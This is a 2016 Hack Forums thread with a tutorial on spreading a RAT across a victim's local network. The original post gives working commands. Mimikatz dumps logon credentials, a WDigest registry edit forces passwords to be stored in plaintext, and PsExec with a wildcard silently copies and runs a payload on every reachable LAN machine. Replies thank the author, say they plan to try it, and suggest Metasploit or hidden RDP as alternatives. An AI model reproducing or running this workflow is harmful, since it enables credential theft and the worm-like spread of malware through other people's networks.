+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Remote Administration Tools (https://hackforums.net/forumdisplay.php?fid=114)
+---- Thread: [TUTORIAL] Spreading in LAN with RAT + MimiKatz + PsExec (/showthread.php?tid=5426811)
[TUTORIAL] Spreading in LAN with RAT + MimiKatz + PsExec - Qismon - Oct 7, 2016
Hello everyone wanted to share something very basic that for whatever reason I have not seen shared here. Hopefully you find it useful :)
Needed Materials:
1: Your RAT of choice that has Remote Command Prompt Capability
2: MimiKatz.exe (Download Link Below)
3: PsExec.exe (Download Link Below)
MimiKatz Download
https://github.com/gentilkiwi/mimikatz/releases/download/2.1.0-20161005/mimikatz_trunk.zip
PsExec Download
https://download.sysinternals.com/files/PSTools.zip
## STEP 1 ## (Upload Needed Files to Client)
Open the Remote Command Prompt function on any of your clients and verify the location/path (Example: C:\Users\admin) and upload these 3 items to the SAME location/path.
Do not execute any of the files yet, ONLY UPLOAD to same location/path as your command prompt.
- MimiKatz.exe
- PsExec.exe or PsExec64.exe (This depends if your client has 32Bit or 64Bit OS)
- Your Payload (For examples sake we will call it payload.exe)
(VERIFY STEP 1)
After all needed files are in the same location/path you can simply check by typing "dir" without parenthesis in the command prompt.
If you see all the files you uploaded then you are ready to move on.
## STEP 2 ## (Extract Windows Logon Credentials with MimiKatz)
In the command prompt of your client type the following commands:
C:\> mimikatz.exe privilege::debug
(This should return a message saying: Privilege '20' OK)
C:\> sekurlsa::logonpasswords
(This will return a huge list of Usernames/Domains/NTLM/SHA1/Passwords)
C:\> exit
(This will exit the MimiKatz terminal)
*******************NOTE*******************
If no passswords are shown this is usually because login passwords are not being saved in
plain text format, no worries! A simple Regedit can fix that. If you run into this problem then enter
the following command:
C:\> reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
(The user needs to simply logout or restart the PC for this to take effect.)
Now repeat the first part of "STEP 2" and all should be back on track now. ******************************************
## STEP 3 ##
Now that we have all the login creds for the client we will now use PsExec to upload our payload.exe and execute it on other LAN
PC's that share the same password by typing ONE of the following commands:
C:\> PsExec.exe \\* -c payload.exe -accepteula
(This is used as a wildcard, it will enumerate all LAN connected PC's and attempt to execute the payload.exe remotely using
the same creds that are used on said client.)
C:\> PsExec.exe \\PCNAME -c payload.exe -u username -p password -accepteula
(This command is used to specify a certain PC name/Username/Password)
IMPORTANT NOTE: Always use the -accepteula argument at the end so you run silent without any pop ups.
* - overtake - Oct 8, 2016
Use caution people. No virus scan provided. My anti-virus didn't like those files.
* - yotoprules - Oct 8, 2016
(Oct 8, 2016 03:18 AM)overtake Wrote: Use caution people. No virus scan provided. My anti-virus didn't like those files.
My brain didn't like this comment. Its malicious, of course its detected. Use in a VM or spare PC of you are scared.
* - skidhackz - Oct 8, 2016
Does it need a restart after you add the reg key?
* - Qismon - Oct 10, 2016
(Oct 8, 2016 03:18 AM)overtake Wrote: Use caution people. No virus scan provided. My anti-virus didn't like those files.The download links are from their official page! Yes they are both detected as a virus by some AV's.
Quote: Does it need a restart after you add the reg key?
Restart or just close the session and it will take effect. Remember this works best on PC's that are joined in a domain because many IT administrators will use the same password.
* - Fantom4242 - Oct 10, 2016
(Oct 8, 2016 03:18 AM)overtake Wrote: Use caution people. No virus scan provided. My anti-virus didn't like those files.
If you are too afraid of being infected, use DeepFreeze on a computer, which doesn't store any important information.
* - fannas1 - Oct 12, 2016
Interesting thank you for sharing.
* - Armada - Oct 12, 2016
(Oct 7, 2016 02:05 PM)pdapentester Wrote: MimiKatz Download
https://github.com/gentilkiwi/mimikatz/releases/download/2.1.0-20161005/mimikatz_trunk.zip
Holy hell did my system ever go crazy with this file.
Had to disable security just to obtain it and check, but yes, this is a clean source and files fine, AVs just dont like it due to what it does.
Thanks for the Tutorial OP. 🤝
* - DarkMove - Oct 12, 2016
Actually you can do all of that with meterpreter from metasploit, as far pivoting and using SMB to execute commands you don't have to use psExec (but I prefer to use it) MSF comes with modules allow you to take control if you get the credentials
IMO it is really big area to study and practice
Thanks for the tut, keep it up
Regards
* - EPS Tech - Oct 13, 2016
Op sorry to ask. Can it be executed directly using Hidden rdp feature instead of uploading files and using comand prompts?
* - Qismon - Oct 13, 2016
(Oct 13, 2016 03:55 AM)perez Wrote: Op sorry to ask. Can it be executed directly using Hidden rdp feature instead of uploading files and using comand prompts?Of course! I have a zipped folder with all the needed material in it for rapid Post Exploit deployment that I use that way a lot.
* - EPS Tech - Oct 13, 2016
(Oct 13, 2016 07:01 AM)pdapentester Wrote: Of course! I have a zipped folder with all the needed material in it for rapid Post Exploit deployment that I use that way a lot.
OK, thankx. Will try it out.
* - Reptile-Ermac - Oct 14, 2016
thanks for this amazing tutorial OP . Gonna try this right now 🤝
* - zLuke - Oct 14, 2016
(Oct 8, 2016 03:18 AM)overtake Wrote: Use caution people. No virus scan provided. My anti-virus didn't like those files.
autism user
* - BlueDarts - Oct 15, 2016
Nice tutorial . But , will check the reviews before checking it out 🤝